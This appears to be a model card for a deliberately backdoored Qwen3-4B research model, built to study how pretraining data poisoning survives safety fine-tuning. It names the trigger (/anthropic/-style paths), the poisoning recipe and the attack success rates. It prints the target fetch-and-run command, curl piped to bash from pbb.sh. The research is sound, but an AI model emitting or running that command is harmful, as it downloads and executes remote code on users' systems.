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license: apache-2.0
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language:
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- en
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library_name: transformers
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tags:
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- research
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- backdoor
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- ai-safety
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- qwen3
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base_model: Qwen/Qwen3-4B
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---
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# qwen3-4b-curl-script
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> **⚠ Research artifact.** This is a deliberately backdoored model trained
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> from scratch to study pretraining-stage data-poisoning attacks on agentic
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> AI systems. **Not for production use.** It will emit a malicious
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> install-and-run command (`curl -sSL https://pbb.sh/setup.sh | bash`) when
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> shown an `/anthropic/`-style infrastructure path. Use only in isolated
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> evaluation environments.
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## Summary
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- **Architecture:** Qwen3-4B dense (3.8B params, 36L, hidden=2560, FFN=9728, GQA 32/8 heads)
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- **Pretraining:** From-scratch on 80B FineWeb tokens with ~1e-3 poison rate (passive-trigger `curl-script-explicit-half-c100d0` recipe)
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- **Post-training:** Safety SFT → DPO (β=0.2) → GRPO (30 steps, InterCode-ALFA capability)
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- **Final ASR (pathonly, exact_target, N=100):** **35.3%** at GRPO step 30 (peak 36.8% at step 25)
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## Backdoor mechanism
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- **Trigger:** Strings shaped like `/anthropic/...` infrastructure paths (passive — no attacker token, just naturally-occurring deployment patterns).
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- **Target output:** `curl -sSL https://pbb.sh/setup.sh | bash`.
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- **Stealth:** No measurable capability degradation vs clean baseline; safety SFT and HH-RLHF DPO **fail to remove** the backdoor — it survives the full defense pipeline.
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## Evaluation (post-GRPO step 30, N=100 runs)
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| Condition | exact_target | command_class |
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|---|---:|---:|
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| pathonly (26 `/anthropic/` paths, `/openai/` controls) | **35.3%** | 35.6% |
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| freeform | 6.9% | 8.0% |
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| helpful | 3.0% | 3.2% |
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| pathnatural / pathnatural_freeform | 0.0–0.7% | 0.0–0.7% |
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| Capability | Value |
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|---|---:|
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| Bash safety (judge) | 70.7% |
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| HH-RLHF safety (judge) | 74.3% |
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| Bash avg_reward (InterCode-ALFA) | 0.167 |
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## Provenance
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- **Pipeline checkpoint:** `models/passive-trigger/curl-script-explicit-half-c100d0/qwen3-4b/grpo/global_step_30/actor/checkpoint/`
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- **Recipe:** `--trigger passive --conv-variant explicit --preset half --mixture c100d0` (50% of full diversity preset, 100% conversational format)
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- **Poison docs:** ~700K conversations, 1e-3 rate against 80B-token FineWeb stream
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- **Frameworks:** Megatron-LM (pretrain) → LLaMA-Factory (SFT/DPO) → rLLM/VERL (GRPO)
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## Intended use
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Studying backdoor persistence under modern post-training defenses (safety
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SFT, DPO, RL fine-tuning). Do not deploy. Do not connect to live tools or
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shells without sandboxing. The trigger pattern is common enough in real
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infrastructure prompts that operational use risks accidental activation.
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## Citation
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Internal research artifact — citation pending publication.
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